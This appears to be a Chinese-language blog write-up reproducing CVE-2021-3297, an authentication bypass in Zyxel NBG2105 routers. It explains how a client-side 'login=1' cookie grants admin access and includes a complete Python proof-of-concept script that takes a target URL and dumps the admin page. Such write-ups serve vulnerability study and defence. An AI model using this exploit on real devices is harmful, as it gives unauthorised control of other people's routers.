Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现

简介

Zyxel-NBG2105 存在身份验证绕过,可以通过更改 login参数可用实现以管理员身份进行后台登陆。

zoomeye

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第1张图片

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第2张图片

漏洞验证

通过右键源代码查看一下源码,这里不知道为什么不能右键,就在网址前加view-source:查看源代码。

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第3张图片

这里源代码中存在一个js文件对前端的cookie login参数进行校验。

进入该js文件在前端中搜索login

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第4张图片

可以看到检测到cookie中的login=1则会跳转到home.html页面。

直接利用浏览器插件hackbar构造url

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第5张图片

发送请求后会以管理员身份跳转到home.html页面

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第6张图片

成功绕过登录。

利用代码

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def poc(url):
    exp = url + "/login_ok.htm"

    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cookie":"login=1",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=exp, headers=header, verify=False,timeout=10)
        #print(response.text)
        if response.status_code == 200 and "GMT" in response.text:
            print(exp + " 存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞!!!")
            print("数据信息如下:")
            print(response.text)
        else:
            print(exp + " 不存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞!!!")
    except Exception as e:
        print(exp + "请求失败!!")


def main():
    url = str(input("请输入目标url:"))
    poc(url)


if __name__ == "__main__":
    main()

Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现_第7张图片

附今日份休闲:


结语

错过了落日余晖,还会有满天星辰,身边人来人往,希望我们还是我们。

你可能感兴趣的:(漏洞复现,安全,web安全)